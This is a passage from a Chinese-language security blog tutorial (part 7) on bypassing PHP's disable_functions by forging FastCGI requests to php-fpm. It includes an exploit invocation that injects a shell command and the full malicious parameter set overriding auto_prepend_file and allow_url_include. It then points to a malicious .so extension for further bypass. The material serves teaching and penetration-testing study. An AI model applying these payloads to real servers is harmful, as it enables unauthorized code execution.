主页 > 网络知识 > php中函数禁用绕过的原理与利用(7)

php中函数禁用绕过的原理与利用(7)

而type的值从1-7有各种作用,当其type=4时,后端就会将其body解析成key-value,看到key-value可能会很眼熟,没错,就是我们前面看到的那一个键值对数组,也就是环境变量。

那么在学习漏洞利用之前,我们有必要了解两个环境变量,

 

PHP_VALUE:可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项

 

 

PHP_ADMIN_VALUE:可以设置所有选项(除了disable_function)

 

那么以p神文中的利用方式我们需要满足三个条件:

 

找到一个已知的php文件

 

 

利用上述两个环境变量将auto_prepend_file设置为php://input

 

 

开启php://input需要满足的条件:allow_url_include为on

 

此时熟悉文件包含漏洞的童鞋就一目了然了,我们可以执行任意代码了。

这里利用的情况为:

'PHP_VALUE': 'auto_prepend_file = php://input' 'PHP_ADMIN_VALUE': 'allow_url_include = On' 利用

我们先直接看phpinfo如何标识我们可否利用该漏洞进行攻击。

 

image.png

 

那么先以攻击tcp为例,倘若我们伪造nginx发送数据(fastcgi封装的数据)给php-fpm,这样就会造成任意代码执行漏洞。

p神已经写好了一个exp,因为开放fastcgi为0.0.0.0的情况事实上同攻击内网相似,所以这里可以尝试一下攻击127.0.0.1也就是攻击内网的情况,那么事实上我们可以配合gopher协议来攻击内网的fpm,因为与本文主题不符就不多讲。

python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'

可以看到结果如图所示:

 

image.png

 

攻击成功后我们去查看一下phpinfo会看到如下:

 

image.png

 

也就是说我们构造的攻击包为:

{     'GATEWAY_INTERFACE': 'FastCGI/1.0',     'REQUEST_METHOD': 'GET',     'SCRIPT_FILENAME': '/var/www/html/phpinfo.php',     'SCRIPT_NAME': '/phpinfo.php',     'QUERY_STRING': '',     'REQUEST_URI': '/phpinfo.php',     'DOCUMENT_ROOT': '/var/www/html',     'SERVER_SOFTWARE': 'php/fcgiclient',     'REMOTE_ADDR': '127.0.0.1',     'REMOTE_PORT': '12304',     'SERVER_ADDR': '127.0.0.1',     'SERVER_PORT': '80',     'SERVER_NAME': "localhost",     'SERVER_PROTOCOL': 'HTTP/1.1',     'PHP_VALUE': 'auto_prepend_file = php://input',     'PHP_ADMIN_VALUE': 'allow_url_include = On' }

很明显的前面所说的都是成立的;然而事实上我这里是没有加入disable的情况,我们往里面加入disable再尝试。

pkill php-fpm /usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini

注意修改了ini文件后重启fpm需要指定ini。

我往disable里压了一个system:

pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

然后再执行一下exp,可以发现被disable了:

 

image.png

 

因此此种方法还无法达成bypass disable的作用,那么不要忘了我们的两个php_value能够修改的可不仅仅只是auto_prepend_file,并且的我们还可以修改basedir来绕过;在先前的绕过姿势中我们是利用到了so文件执行扩展库来bypass,那么这里同样可以修改extension为我们编写的so库来执行系统命令,具体利用有师傅已经写了利用脚本,事实上蚁剑中的插件已经能实现了该bypass的功能了,那么下面我直接对蚁剑中插件如何实现bypass做一个简要分析。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!